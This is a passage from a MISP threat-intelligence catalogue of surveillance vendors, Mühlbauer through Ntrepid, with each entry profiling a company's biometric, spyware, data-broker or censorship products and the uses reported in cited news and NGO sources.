https://www.opensanctions.org/entities/NK-UZQyhKMNDjoZwxUUTq6Lc6/

Mühlbauer

Mühlbauer, a German technology company, became Uganda's first biometric ID system provider in 2010 following a meeting between President Museveni and the German ambassador. The $80 million contract was controversial as it bypassed normal government procurement rules by avoiding a competitive bidding process. The company played a significant role in expanding Uganda's biometric identity coverage, registering approximately 5 million citizens in just 6 weeks. Their system provided ID cards and digital identities to Ugandan citizens.

While Mühlbauer's technology was ostensibly implemented for legitimate identification purposes, extensive documentation and interviews gathered by Bloomberg and nonprofit investigative newsroom Lighthouse Reports reveal it has evolved into a sophisticated surveillance tool used to monitor politicians, journalists, human rights advocates, and ordinary citizens in Uganda.

The tag is: *misp-galaxy:surveillance-vendor="Mühlbauer"*

Table 17859. Table References

Links
https://www.bloomberg.com/news/features/2024-06-04/uganda-yoweri-museveni-s-critics-targeted-via-biometric-id-system
https://www.biometricupdate.com/202106/kyrgyzstan-launches-biometric-passport-with-advanced-security-features
https://www.biometricupdate.com/201910/muhlbauer-helps-uganda-reach-30m-biometric-registrations-details-mozambique-and-fiji-projects

Mindbox

Mindbox Analytics India Pvt Ltd provides Automatic Number Plate Recognition (ANPR) systems using AI technology to capture license plates. The company also offers the Mindbox Fast-Mind Facial Recognition System (FRS), an AI-powered tool designed for rapid and contactless identity verification.

The tag is: *misp-galaxy:surveillance-vendor="Mindbox"*

Table 17860. Table References

Links
https://mindbox.ai/service/automatic-number-plate-recognition/
https://mindbox.ai/service/salon-solution/

Mobilewalla

Mobilewalla is a data broker and consumer intelligence platform that aggregates and analyzes large amounts of consumer data. It was founded in Singapore and later moved its headquarters to Atlanta, Georgia, U.S.

Mobilewalla collected over 500 million unique consumer advertising identifiers paired with precise location data, often without consumer knowledge or consent. This data revealed sensitive information, such as visits to healthcare facilities, religious institutions, and political events. Mobilewalla also tracked residents of domestic abuse shelters and purposefully tracked protesters in 2020.

In addition, Mobilewalla admitted that it supplied data used by the U.S Department of Homeland Security, the U.S Internal Revenue Service (IRS), and the U.S. military for warrantless device tracking domestically and internationally.

The Federal Trade Commission (FTC) stated that Mobilewalla failed to anonymize this data. In response to these practices, the FTC finalized an order in 2025 banning Mobilewalla from selling sensitive location data and collecting consumer data.

The tag is: *misp-galaxy:surveillance-vendor="Mobilewalla"*

Table 17861. Table References

Links
https://www.wired.com/story/ftc-mobilewalla-gravy-analytics-orders/
https://www.wsj.com/articles/mobilewalla-says-data-it-gathered-from-consumers-cellphones-ended-up-with-government-11637242202
https://www.reuters.com/technology/cybersecurity/ftc-settles-with-data-brokers-that-sold-political-pregnancy-info-2024-12-03/
https://www.eff.org/deeplinks/2025/01/online-behavioral-ads-fuel-surveillance-industry-heres-how

Mobineers

Mobineers, also known as Mobineers Info Systems, is an Indian technology company that develops smart-policing software. One of its tools is the E-Beat Book, a mobile application designed for foot-patrol officers, and which incorporates facial recognition technology to enable law enforcement to rapidly identify individuals by matching their facial data against existing databases.

The tag is: *misp-galaxy:surveillance-vendor="Mobineers"*

Table 17862. Table References

Links
https://www.giga-hamburg.de/en/publications/giga-focus/digital-surveillance-and-the-threat-to-civil-liberties-in-india
https://www.medianama.com/2020/11/223-exclusive-delhi-police-working-on-arming-pcr-vans-with-facial-recognition-software/

Mollitiam Industries

Mollitiam Industries is a Spanish cybersecurity and surveillance company that develops intelligence and monitoring solutions. The company provides various tools with intelligence gathering and surveillance capabilities for both government and private sector clients. Those who have bought its surveillance products include the Colombian armed forces, which have used them to illegally spy on supreme court judges, politicians, journalists, and journalists' sources. Colombian targets have included Alejandro Santos, the editor of the news magazine Semana, and some of his reporters after they published articles about crimes committed by the members of the military. In 2019 alone, Colombia's military reportedly spent $800,000 on spyware from Mollitiam Industries.

The tag is: *misp-galaxy:surveillance-vendor="Mollitiam Industries"*

Table 17863. Table References

Links
https://gijn.org/stories/the-20-leading-digital-predators-of-press-freedom-around-the-world/
https://www.cima.ned.org/publication/spyware-an-unregulated-and-escalating-threat-to-independent-media/
https://www.wired.com/story/phone-hacking-mollitiam-industries/
https://www.atlanticcouncil.org/in-depth-research-reports/report/mythical-beasts-and-where-to-find-them-mapping-the-global-spyware-market-and-its-threats-to-national-security-and-human-rights/

Movia

Movia S.p.A., an Italian cyber intelligence company, develops spyware tools, such as "Spyder," which is used for telecommunication, environmental, and telematic interceptions. The company collaborates with Italian prosecution offices and law enforcement agencies, providing end-to-end monitoring solutions.

Movia showcased its Spyder spyware at ISS World in Dubai in 2023, an intelligence trade show which it also sponsored.

The tag is: *misp-galaxy:surveillance-vendor="Movia"*

Table 17864. Table References

Links
https://lespresso.it/c/attualita/2022/8/9/una-ditta-di-intercettazioni-nelle-indagini-sul-sistema-montante/12796
https://www.atlanticcouncil.org/in-depth-research-reports/report/mythical-beasts-and-where-to-find-them-mapping-the-global-spyware-market-and-its-threats-to-national-security-and-human-rights/
https://www.intelligenceonline.com/surveillance—interception/2023/11/08/italian-cyber-intelligence-specialist-movia-goes-global,110085487-art

Mozenda

Mozenda is identified as one of the big data analysis tools that Serbian law enforcement and intelligence agencies have been using for surveillance purposes.

The tag is: *misp-galaxy:surveillance-vendor="Mozenda"*

Table 17865. Table References

Links
https://balkaninsight.com/wp-content/uploads/2024/06/Digital-surveillance-in-Serbia.pdf
https://www.intelligenceonline.com/surveillance—interception/2022/09/30/east-and-west-battle-for-serbia-s-mass-surveillance-software-market,109829381-art
https://balkaninsight.com/2023/06/22/social-controls-china-style-surveillance-is-coming-to-serbia/

MSAB

MSAB is a Swedish forensic technology company. Its software, XRY, which can decrypt passwords and recover deleted data, was reportedly used by Hong Kong police in 2020 to access pro-democracy activist Joshua Wong's phone in under an hour. Leaked documents in 2021 showed that Myanmar's military junta used MSAB's technology to extract data from phones, including deleted content. In the U.S, the San Diego Police Department employs MSAB's XRY software to extract data from mobile devices in investigations. It's also used by the FBI and U.S. Customs and Border Protection (CPB), among other government agencies.

MSAB developed tools for CPB to gather information from vehicles at border crossings by extracting data from car infotainment systems. These systems store a wealth of information, including call logs, text messages, GPS locations, and paired device data.

Its reseller in Hong Kong is S-Tech, which also sells surveillance tools from Oxygen Forensics and BlackBag (acquired by Cellebrite in 2020.)

The tag is: *misp-galaxy:surveillance-vendor="MSAB"*

Table 17866. Table References

Links

https://scandasia.com/swedish-technology-is-being-used-against-protestors-in-hong-kong/
https://www.sandiego.gov/sites/default/files/2023-11/MSABs%20-%20XRY%20Mobile%20Forensic%20and%20Data%20Recovery%20Software%20Surveillance%20Impact%20Report.pdf
https://www.intelligenceonline.com/surveillance—interception/2021/02/18/despite-its-withdrawal-from-hong-kong-cellebrite-s-local-sales-network-is-still-visible,109644402-gra
https://www.bloomberg.com/news/articles/2020-09-23/swedish-technology-company-cuts-business-ties-with-hong-kong
https://www.atlanticcouncil.org/uncategorized/surveillance-technology-at-the-fair/
https://theintercept.com/2021/05/03/car-surveillance-berla-msab-cbp/
https://www.vice.com/en/article/government-report-reveals-its-favorite-way-to-hack-iphones-without-backdoors/

Mulk International

Mulk International is a UAE-based multinational conglomerate that is spearheading the development of the Zim Cyber City, a $500 million high-tech park in Zimbabwe. This project is part of Zimbabwe's broader "smart city" initiative, which aims to integrate advanced surveillance systems. The Cyber City will feature 24/7 surveillance technology, including facial recognition systems, directly connected to local law enforcement.

The tag is: *misp-galaxy:surveillance-vendor="Mulk International"*

Table 17867. Table References

Links
https://globalvoices.org/2023/01/10/how-zimbabwe-is-building-a-big-brother-surveillance-state/
https://www.context.news/surveillance/zimbabwes-cyber-city-urban-utopia-or-surveillance-menace
https://www.biometricupdate.com/202302/zimbabwe-govt-faces-criticism-over-biometric-surveillance-project-for-new-smart-city
https://www.itp.net/edge/future-tech/uae-mulk-international-to-build-500-million-usd-cyber-city-in-zimbabwe
https://www.prnewswire.com/in/news-releases/zimbabwe-president-emmerson-mnangagwa-launched-us-500-million-zim-cyber-city-by-uae-investor-mulk-int-l-opens-new-investment-opportunities-for-indians-897277352.html

Narus

Narus, a subsidiary of Boeing, has sold its NarusInsight technology, used for mass surveillance of internet traffic, to several countries with known human rights violations, including Saudi Arabia and Egypt. Capabilities include Deep Packet Inspection equipment (DPI), a content-filtering technology that allows network managers to inspect, track and target content from users of the

Internet and mobile phones, as it passes through routers on the information superhighway. Narus was was founded in 1997 by Israeli "security experts" to create and sell mass surveillance systems for governments and large corporate clients.

The tag is: *misp-galaxy:surveillance-vendor="Narus"*

Table 17868. Table References

Links
https://archive.blogs.harvard.edu/surveillance/2008/11/11/narus-security-through-surveillance/
https://www.huffpost.com/entry/one-us-corporations-role_b_815281
https://jsis.washington.edu/news/freedom-watch-veil-saudi-cyberspace/
https://arstechnica.com/information-technology/2012/09/big-brother-meets-big-data-the-next-wave-in-net-surveillance-tech/
https://thenextweb.com/news/how-far-gadhafi-went-to-monitor-libyas-internet-activity
https://www.wsj.com/articles/SB10001424053111904199404576538721260166388

Naung Yoe Technologies

Naung Yoe Technologies Co., Ltd. is a Yangon-based company that distributes surveillance products, system integration, and equipment provision. Since the 2021 military coup, Naung Yoe Technologies has been involved in the procurement and installation of surveillance technologies across Myanmar. The company has been awarded tenders to install Chinese-made CCTV cameras equipped with facial recognition capabilities in several cities, including Naypyidaw. These projects are part of the junta's "safe city" initiatives.

The surveillance systems supplied by Naung Yoe Technologies are sourced from Chinese manufacturers such as Zhejiang Dahua Technology, Huawei Technologies Co. Ltd., and Hikvision.

A source close to the company disclosed that Naung Yoe Technologies employed former generals, which may have influenced its success in securing government contracts, including the installation of CCTV networks and command-and-control centers in Naypyidaw. In March 2023, the company was added to the U.S. Department of Commerce's Entity List, which restricts access to U.S.-origin items, software, and technology.

The tag is: *misp-galaxy:surveillance-vendor="Naung Yoe Technologies"*

Table 17869. Table References

Links
https://www.reuters.com/world/asia-pacific/exclusive-myanmars-junta-rolls-out-chinese-camera-surveillance-systems-more-2022-07-10/
https://www.accessnow.org/myanmar-cctv-cameras/
https://www.article19.org/wp-content/uploads/2022/08/A19-Smart-Cities-Aug22.pdf
https://www.biometricupdate.com/202207/myanmar-expands-facial-recognition-ready-surveillance-safe-cities

https://myanmar-now.org/en/news/beyond-the-headlines-us-hits-three-more-myanmar-entities-with-trade-sanctions/

Near

Data intelligence company Near was originally founded in Singapore in 2012 and later relocated to Pasadena, California. In 2021, data broker Near claimed to have location data on 1.6 billion people, which raised additional concerns when the company filed for bankruptcy in 2022. The data's potential sale to another company, including sensitive information from locations like abortion clinics, alarmed many human rights and privacy advocates. Near's privacy policy states that all collected data can be conveyed to prospective new owners, should the business be sold. Near sold data to the U.S government and claimed otherwise on its website, with no privacy safeguards in place until 2022. The sale of location data without informed consent continued until at least October 2023.

The tag is: *misp-galaxy:surveillance-vendor="Near"*

Table 17870. Table References

Links
https://themarkup.org/privacy/2024/02/23/what-happens-to-your-sensitive-data-when-a-data-broker-goes-bankrupt
https://www.eff.org/deeplinks/2024/02/sen-wyden-exposes-data-brokers-selling-location-data-anti-abortion-groups-target
https://arstechnica.com/tech-policy/2024/02/how-your-sensitive-data-can-be-sold-after-a-data-broker-goes-bankrupt/
https://www.theregister.com/2024/02/15/data_broker_location_abortion/
https://techcrunch.com/2022/05/19/data-intelligence-startup-near-with-1-6b-anonymized-user-ids-lists-on-nasdaq-via-spac-at-a-1b-market-cap-raises-100m/
https://outsideinsight.com/insights/ai-merge-online-offline-behaviour/

NEC Corporation

NEC Corporation is a Japanese multinational company specializing in IT services and electronics, with a significant focus on biometric surveillance technologies. Their products include NeoFace, a facial recognition system used for law enforcement and immigration purposes, and which is powered by AI for advanced image matching and identity verification. NEC has numerous partnerships with foreign governments to provide these surveillance technologies. Its "Safer Cities" platform integrates large-scale databases combining biometric data, national identification systems, and surveillance from citywide cameras and drones, fully equipped with behavioral analytics. The system is designed to monitor urban environments in real-time, using advanced AI to analyze patterns of human activity, providing law enforcement with powerful tools for ongoing mass surveillance.

The tag is: *misp-galaxy:surveillance-vendor="NEC Corporation"*

Table 17871. Table References

Links
https://thewire.in/tech/from-aadhaar-to-digiyatra-how-japan-is-helping-build-indias-tech-infrastructure
https://www.nec.com/en/press/202308/global_20230831_01.html
https://www.nec.com/en/press/201707/global_20170711_01.html
https://www.biometricupdate.com/201910/nec-facial-recognition-border-tech-for-kenya-as-airport-biometrics-rollouts-continue
https://www.asiapacificsecuritymagazine.com/nec-asia-pacific-successfully-completes-3-safety-and-security-trials-with-singapore-government/
https://investigate.afsc.org/company/nec
https://www.business-humanrights.org/es/%C3%BAltimas-noticias/japan-reported-joint-drone-development-with-israel/
https://www.accessnow.org/wp-content/uploads/2021/08/Surveillance-Tech-Latam-Report.pdf

Negg Group

Negg Group, an Italian cybersecurity firm, was first revealed in 2017 by Kaspersky as the developer of the “VBiss” and “Skygofree” Android malware, which can infect mobile devices through one-click exploit chains or by drive-by downloads. Google discovered targets in Italy, Malaysia, and Kazakhstan.

Negg established a presence in the United Arab Emirates by joining a consortium for the Aion Sentia project in Abu Dhabi, which aims to develop an AI-powered city.

The tag is: *misp-galaxy:surveillance-vendor="Negg Group"*

Table 17872. Table References

Links
https://www.fastcompany.com/91024985/spyware-companies-helping-governments-hack-their-citizens
https://www.intelligenceonline.com/surveillance—interception/2025/03/21/negg-wins-italian-cyber-intelligence-contracts-after-paragon-exposed%2C110390770-art
https://www.intelligenceonline.com/surveillance—interception/2025/05/29/italian-cyber-specialist-negg-plants-its-flag-in-abu-dhabi%2C110458791-art

NeoBit

NeoBit, a Russian company headquartered in St. Petersburg, is involved in surveillance and cyber operations on behalf of the Russian government. The company is behind the development of Vepr, a system designed to monitor and predict "information tension points" on the internet. This project, commissioned by Roskomnadzor (Russia’s internet censorship agency), aims to analyze online

content, including tone, aggression, and repost metrics, to identify perceived threats such as criticism of authorities, "LGBT propaganda," and other topics deemed undesirable by the state. Vepr is part of a broader initiative, the Clean Internet project, which seeks to surveil 100% of Russia's online activity using advanced neural networks and bot farms capable of infiltrating closed social media groups.

NeoBit has reportedly collaborated with Huawei, the Chinese tech giant, by supplying expertise in artificial intelligence fields such as machine learning, behavioral analysis, and anomaly detection. Huawei has also recruited researchers from NeoBit and other Russian firms.

The company was sanctioned by the United States in 2021 for its suspected ties to Russia's three main intelligence services: the FSB, SVR, and GRU. NeoBit is also a contractor for Russia's Ministry of Defense and the Federal Protective Service (FSO).

The tag is: *misp-galaxy:surveillance-vendor="NeoBit"*

Table 17873. Table References

Links
https://www.intelligenceonline.com/corporate-intelligence/2021/06/18/huawei-hired-top-researchers-from-russia-s-us-sanctioned-neobit,109674074-eve
https://en.zona.media/article/2023/03/08/neurorkn-trl
https://therecord.media/white-house-formally-blames-russian-intelligence-service-svr-for-solarwinds-hack
https://home.treasury.gov/news/press-releases/jy0127

Netposa Technologies Limited

Netposa Technologies Limited (Netposa) owns or controls, directly or indirectly, SenseNets Technology Ltd. (SenseNets), an entity that operates or has operated in the surveillance technology sector of the economy of the PRC. Netposa's subsidiary, SenseNets, has created a facial recognition database that combines GPS tracking with sensitive personal information to track individuals including Uyghurs. At one point, SenseNets was tracking over 2.5 million individuals in Xinjiang.

The tag is: *misp-galaxy:surveillance-vendor="Netposa Technologies Limited"*

Table 17874. Table References

Links
https://www.theinformation.com/articles/how-u-s-tech-companies-fueled-chinas-surveillance-state
https://home.treasury.gov/news/press-releases/jy0538

Netronome

Netronome, a U.S.-based technology company, played a role in enabling surveillance in Uzbekistan by providing technology used to attempt the interception of encrypted SSL traffic. This effort, facilitated by U.S-Israeli company Verint, involved the use of fake certificates to execute man-in-the-

middle (MITM) attacks, potentially granting Uzbek authorities unprecedented access to private communications. Netronome's Secure Sockets Layer (SSL) appliance product line by Blue Coat Systems, a U.S cybersecurity company that was known as CacheFlow until 2002 and acquired by Symantec in 2016.

The tag is: *misp-galaxy:surveillance-vendor="Netronome"*

Table 17875. Table References

Links
https://privacyinternational.org/sites/default/files/2017-12/Private%20Interests%20with%20annex_0.pdf
https://time.com/3598431/uzbekistan-kazakstan-online-privacy-verint/
https://www.washingtonpost.com/business/technology/us-israeli-companies-supply-spy-gear-to-repressive-regimes-report-says/2014/11/19/49da9b48-700b-11e4-893f-86bd390a3340_story.html
https://pitchbook.com/newsletter/netronome-sells-ssl-product-line-to-blue-coat-systems

Netsweeper

Netsweeper, a Canadian company that develops internet filtering technology, enables internet censorship and surveillance in various countries. The company's software is used to block access to content deemed politically or socially sensitive, such as websites related to political dissent, religious topics, independent media, and LGBTQ+ rights. Netsweeper's technology employs automated mechanisms to filter content across multiple categories, which can be customized by clients, including governments and ISPs. Its tools include onGuard, which monitors student activity in real time, tracking desktop content, internet usage, and user-submitted data.

The tag is: *misp-galaxy:surveillance-vendor="Netsweeper"*

Table 17876. Table References

Links
https://www.vice.com/en/article/canadian-company-netsweeper-blocking-lgbtq-content-abroad/
https://tribune.com.pk/story/670355/rights-group-files-request-seeking-disclosure-on-internet-filtering-equipment
https://citizenlab.ca/2018/04/planet-netsweeper-section-2-country-case-studies/
https://www.vice.com/en/article/canadian-government-funded-notorious-censorship-company-for-a-decade-netsweeper-bahrain-citizen-lab/

Network Solutions

Network Solutions (Сетевые Решения) is a Russian software developer that provides billing systems for telecommunications operators. Beyond its billing solutions, the company provides tools for transferring data to SORM (System for Operative Investigative Activities), a Russian government-mandated surveillance system. According to its website, Network Solutions facilitates the direct transfer of sensitive subscriber data to SORM from certified billing systems. This data

includes call and payment information, personal customer details, accurate addresses, passport information of individuals, and details of legal entities.

The tag is: *misp-galaxy:surveillance-vendor="Network Solutions"*

Table 17877. Table References

Links
https://go.recordedfuture.com/hubfs/reports/ta-ru-2025-0107.pdf
https://www.lanbilling.ru/services/sorm/
https://www.lanbilling.ru/en/about/

Neurotechnology

Neurotechnology is a Lithuania-based company that develops biometric identification systems used by governments, law enforcement, and private-sector clients worldwide. Founded in 1990, the company's suite of products include facial recognition, fingerprint, iris, and voice recognition technologies, and has supplied its algorithms to national ID programs, border control systems, and police agencies across multiple countries.

Its MegaMatcher and VeriLook software is capable of performing large-scale biometric matching. Law enforcement entities have deployed Neurotechnology's tools for investigations, target identification, and crowd monitoring, often in combination with surveillance footage or photo databases.

The tag is: *misp-galaxy:surveillance-vendor="Neurotechnology"*

Table 17878. Table References

Links
https://www.themarshallproject.org/2024/11/12/protest-surveillance-technologies
https://geeksaroundglobe.com/megamatcher-products-tailored-for-law-enforcement-criminal-investigation-needs/
https://cbs4indy.com/business/press-releases/ein-presswire/797028903/neurotechnology-upgrades-its-sentiveillance-video-surveillance-systems-with-improved-algorithms-and-new-features/
https://www.neurotechnology.com/biometrics-border-control.html
https://www.neurotechnology.com/megamatcher-abis-references.html

Nexign

Nexign, formerly known as Peter-Service, is a Russian company that provides surveillance software and monitoring services for telecommunications companies. The company is part of USM Telecom, owned by Kremlin insider Alisher Usmanov.

According to its website, Nexign's products have been delivered to 12 countries and includes the surveillance company Protei as a partner.

The tag is: *misp-galaxy:surveillance-vendor="Nexign"*

Table 17879. Table References

Links
https://cepa.org/article/russia-exports-digital-surveillance-despite-sanctions/
https://channelpostmea.com/2019/07/18/nexign-partners-with-cairo-based-giza-systems/
https://www.wired.com/story/wikileaks-spy-files-russia/

Niagara Networks

Niagara Networks is a Silicon Valley–based company that develops network visibility and traffic delivery technologies. Their products include network TAPs (traffic access points), packet brokers, bypass switches, inline bypass elements, and visibility orchestration tools. A report by Amnesty International has identified Niagara Networks as one of the foreign suppliers whose hardware or software is used in Pakistan's "Web Monitoring System (WMS 2.0)", a state-firewall network intended to monitor, filter, or block internet traffic.

Niagara Networks distributes its products via a company called Softprom, an IT distributor founded in 1999, operating primarily in Central & Eastern Europe, the Caucasus, Central Asia, and the CIS (Commonwealth of Independent States). It has a similar distributor relationship with CLICO, an IT distribution service founded in 1991 and based in Poland.

The tag is: *misp-galaxy:surveillance-vendor="Niagara Networks"*

Table 17880. Table References

Links
https://www.amnesty.org/en/latest/news/2025/09/pakistan-mass-surveillance-and-censorship-machine-is-fueled-by-chinese-european-emirati-and-north-american-companies/
https://www.epicos.com/article/865206/niagara-networks-and-softprom-announce-partnership-expand-next-generation-network
https://www.reuters.com/world/asia-pacific/amnesty-says-pakistan-spying-millions-through-phone-tapping-firewall-2025-09-09/
https://www.niagaranetworks.com/technology-alliances
https://www.epicos.com/article/817232/niagara-networks-and-clico-announce-strategic-partnership-strengthen-top-tier-it

NICE Systems Ltd

NICE offers surveillance and analytics tools that enable agencies to monitor and analyze large volumes of data, especially to law enforcement agencies. These tools include advanced video surveillance systems, voice and data analytics software, and communication interception capabilities. NICE is also a longtime collaborator of the Milan-based Hacking Team. According to a Buzzfeed investigation based on emails leaked by Wikileaks, the two companies exchanged nearly 3,000 emails between 2010 and 2015, discussing business opportunities in countries such as

Uganda, Mexico, Colombia, Israel, and Finland. NICE is one of Hacking Team's largest partners, frequently acting as an intermediary, connecting Hacking Team with state police and intelligence agencies seeking surveillance tools and advanced malware capabilities.

NICE Actimize, a subsidiary of NICE Systems, has developed SURVEIL-X Behaviour, an AI-powered solution designed to provide organizations with a comprehensive behavioral profile of employees. Integrated into the SURVEIL-X Holistic Employee Conduct Surveillance suite, this tool actively surveils employees and analyzes detailed data from hundreds of sources, such as HR systems, customer complaints, and access control logs.

NICE sold its Physical Security Business Unit (PSBU) to private equity firm Battery Ventures for up to $100 million. The PSBU, rebranded as Qognify, specializes in video analytics and physical security information management. This followed an earlier sale of its cyber and intelligence division to Elbit Systems.

The tag is: *misp-galaxy:surveillance-vendor="NICE Systems Ltd"*

Table 17881. Table References

Links
https://www.nicepublicsafety.com/
https://en.globes.co.il/en/article-nice-systems-wins-indian-taiwanese-deals-1001310541
https://www.buzzfeednews.com/article/sheerafrenkel/meet-the-companies-whose-business-is-letting-governments-spy
https://www.cxtoday.com/data-analytics/nice-actimize-launches-surveil-x-behaviour-to-monitor-employee-conduct/
https://www.securitysales.com/news/nice_is_selling_its_video_surveillance_business_for_100m/
https://www.intelligenceonline.com/corporate-intelligence/2013/12/18/sochi-olympics-pose-security-challenge,108000072-art

Nightingale

Nightingale Security is a developer of autonomous surveillance drones headquartered in Newark, California, United States. Their drones, known as Blackbirds, are equipped with advanced features like autonomous takeoff, landing, and recharging, as well as thermal imaging and AI-based threat detection. These drones can perform scheduled patrols, respond to alarms and provide live video feeds to its operators.

Nightingale's surveillance drones have been deployed in Saudi Arabia and is also used by police agencies in several countries around the world.

The tag is: *misp-galaxy:surveillance-vendor="Nightingale"*

Table 17882. Table References

Links

https://www.aumanufacturing.com.au/nightingale-expands-its-autonomous-drone-contract-with-us-police
https://www.nightingalesecurity.com/force-multiplier-for-security-teams/advantage/
https://www.dutchnews.nl/2023/03/flight-against-crime-police-show-off-new-nightingale-drone/
https://www.politico.com/news/2025/02/19/new-york-city-council-nypd-surveillance-00204843

Nika-X

Nika-X is a company that develops and implements surveillance systems, particularly for integration with SORM (System for Operative Investigative Activities). SORM is a state-mandated surveillance system used in Russia to monitor and intercept telecommunications.

According to its website, Nika-X provides a comprehensive range of services, from production to the full deployment of SORM solutions, catering to telecom operators, autonomous system owners, and information dissemination organizers. Its products are marketed under the brand name Vector (Вектор).

The tag is: *misp-galaxy:surveillance-vendor="Nika-X"*

Table 17883. Table References

Links
https://go.recordedfuture.com/hubfs/reports/ta-ru-2025-0107.pdf
https://nikasorm.ru/

Nodeflux

Nodeflux is Indonesia's first and largest Vision AI company, founded in 2016. Its primary platform, VisionAIre, delivers AI-powered video analytics for applications such as facial recognition, license plate recognition (LPR), and activity detection. These technologies are utilized by Indonesia's law enforcement agencies in smart city initiatives and for surveillance purposes.

The Indonesian National Police (POLRI) and the Republic of Indonesia State Intelligence Agency (BIN) have adopted Nodeflux's AI surveillance technologies since 2017.

Nodeflux's technology integrates with national databases, such as the Department of Population and Civil Registration (DISDUKCAPIL), for identification and monitoring through CCTV networks in cities like Jakarta and Bandung . Their AI analytics also support Jakarta's smart city program. Nodeflux is listed as a Gold Partner in Intel's partner showcase. IBM and Nvidia are also listed amongst its collaborative partners.

The tag is: *misp-galaxy:surveillance-vendor="Nodeflux"*

Table 17884. Table References

Links

https://en.prnasia.com/releases/apac/nodeflux-beyond-to-pioneer-the-high-growth-ecosystem-of-ai-in-indonesia-244725.shtml
https://www.intel.com/content/www/us/en/partner/showcase/storefront/a5S3b000000ITZGEA4/nodeflux.html
https://www.nodeflux.io/platform

Noldus Information Technology

Noldus Information Technology, a Dutch company, specializes in emotion recognition systems and digital surveillance technology. Their "FaceReader" software, which automatically analyzes facial expressions such as anger, happiness, sadness, surprise, and disgust, has been sold to public security and law enforcement institutions in China. The software has been used by Chinese universities with ties to the public security apparatus and police, as well as the Ministry of Public Security.

Amnesty International revealed that Noldus supplied its technology to at least two universities in Xinjiang between 2012 and 2018, including "The Observer XT" software to Shihezi University, which is administered by the Xinjiang Production and Construction Corps (XPCC). XPCC plays a key role in maintaining China's unification, social stability in Xinjiang, and in combating what the government labels as violent terrorist crimes. By 2012, it was already recognized that the Chinese government was conflating Uyghur cultural and religious practices with terrorism, and in the following years, technology for suppressing minorities in Xinjiang, particularly emotion and behavioral analysis systems, became a focus of Chinese authorities.

The tag is: *misp-galaxy:surveillance-vendor="Noldus Information Technology"*

Table 17885. Table References

Links
https://www.amnesty.org/en/latest/news/2020/09/eu-surveillance-sales-china-human-rights-abusers-2/
https://www.amnesty.org/en/documents/EUR01/2556/2020/en/

NotionTag

NotionTag is the developer of FaceTagr, an advanced facial recognition application designed for identity verification and video analytics. Adopted by the Chennai police since 2017, it uses computer vision to analyze CCTV footage for real-time object detection, zone monitoring, and suspect identification.

In addition, the company developed CoBuddy, a facial recognition app which was used by Tamil Nadu police during the COVID-19 pandemic to monitor individuals under quarantine, according to MediaNama. The app combined GPS geofencing and facial verification to ensure quarantined individuals remained within designated areas. The app also sent random prompts for face verification multiple times a day, alerting authorities if someone left the geofenced zone. It featured a centralized dashboard for real-time monitoring and heat maps of quarantined individuals.

The tag is: *misp-galaxy:surveillance-vendor="NotionTag"*

Table 17886. Table References

Links
https://www.buzzfeednews.com/article/pranavdixit/india-is-creating-a-national-facial-recognition-system-and
https://www.firstpost.com/tech/news-analysis/chennai-police-to-expand-the-use-of-facetagr-a-facial-recognition-technology-to-curb-inter-state-robbers-4451899.html
https://www.foreignaffairs.com/articles/india/2020-02-19/indias-growing-surveillance-state
https://www.businessinsider.in/tech/news/what-is-facial-recognition-technology-and-how-india-is-using-it-to-track-down-protestors-and-individuals/articleshow/80782606.cms
https://www.medianama.com/2020/04/223-face-recognition-tamil-nadu-quarantine-coronavirus/

NoviSpy

NoviSpy is a spyware discovered by Amnesty International. It was found on a Serbian journalist's phone, reportedly installed after the device was unlocked using a Cellebrite tool. NoviSpy operates through two applications, NoviSpyAdmin and NoviSpyAccess, which exploit Android's accessibility services to perform extensive surveillance. Its capabilities include capturing screenshots, exfiltrating files, tracking location, and remotely activating the device's microphone and camera. Installed via the Android Debug Bridge (adb), NoviSpy has been in development since at least 2018.

The tag is: *misp-galaxy:surveillance-vendor="NoviSpy"*

Table 17887. Table References

Links
https://www.amnesty.org/en/documents/eur70/8813/2024/en/
https://thehackernews.com/2024/12/novispy-spyware-installed-on.html
https://www.reuters.com/technology/cybersecurity/serbia-used-israeli-firms-tech-enable-spy-campaign-amnesty-says-2024-12-16/
https://www.theverge.com/2024/12/16/24322640/serbian-police-novispy-android-spyware-amnesty-international-cellebrite

NtechLab

The Russian company NtechLab operates Russia's extensive biometric mass surveillance system. This system has reportedly facilitated numerous arbitrary arrests of Russian citizens identified through NtechLab's biometric recognition technology, often during peaceful demonstrations. In July 2023, the European Union imposed sanctions on NtechLab for its involvement in serious human rights violations in Russia.

NtechLab is also behind FindFace, a powerful facial recognition app that quickly gained popularity for its ability to identify individuals with high accuracy by comparing photos to profile pictures on

the Russian social networking site Vkontakte.

The company operates as a subsidiary of Rostec, a Russian state-owned corporation.

The tag is: *misp-galaxy:surveillance-vendor="NtechLab"*

Table 17888. Table References

Links
https://nltimes.nl/2024/03/27/dutch-yandex-subsidiary-helping-russia-facial-recognition-software
https://www.europarl.europa.eu/doceo/document/E-9-2021-003687_EN.html
https://www.thebureauinvestigates.com/stories/2024-03-27/paid-pennies-to-train-tools-of-repression-the-humans-behind-moscows-state-surveillance/
https://www.businessinsider.com/intel-spacex-philip-morris-leaked-database-users-ntech-russian-facial-recognition-company-2022-7
https://www.washingtonpost.com/news/morning-mix/wp/2016/05/18/russias-new-findface-app-identifies-strangers-in-a-crowd-with-70-percent-accuracy/
https://www.theguardian.com/technology/2016/may/17/findface-face-recognition-app-end-public-anonymity-vkontakte
https://www.ewdn.com/2016/12/16/russian-face-recognition-app-now-available-to-twitter-users-and-turkish-police/
https://gulfbusiness.com/ntechlab-expands-into-gcc-with-its-face-recognition-tool/
https://www.biometricupdate.com/202204/ntechlab-moves-into-bangladesh-with-facial-recognition-partnership
https://english.elpais.com/international/2025-05-10/in-sao-paulo-big-brother-is-watching-with-25000-cameras-and-facial-recognition-technology.html

Ntrepid

Ntrepid is a software company specializing in tools and solutions for online anonymity, intelligence gathering, and social network analysis. A subsidiary of Abraxas, a prominent contractor for the U.S. intelligence community and owned by Cubic, Ntrepid has played a major role in advancing the capabilities of U.S. military and intelligence operations. The company is best known for developing software that allows U.S. military personnel to create culturally and personally detailed false identities, enabling the infiltration of social networks in countries like Afghanistan and Iraq.

A Guardian investigation revealed that the U.S. Central Command (Centcom) granted a $2.76 million contract to Ntrepid to develop the "sock puppets" for manipulation and intelligence gathering.

The company’s Chief Technical Officer Lance Cottrell gave several training seminars at ISS World, the internet and telecommunications interception systems manufacturers’ conference that promotes surveillance products to governments. Cottrell is the creator of Anonymizer, which was acquired by Ntrepid’s parent company Abraxas in 2008.

The tag is: *misp-galaxy:surveillance-vendor="Ntrepid"*

Table 17889. Table References

Links
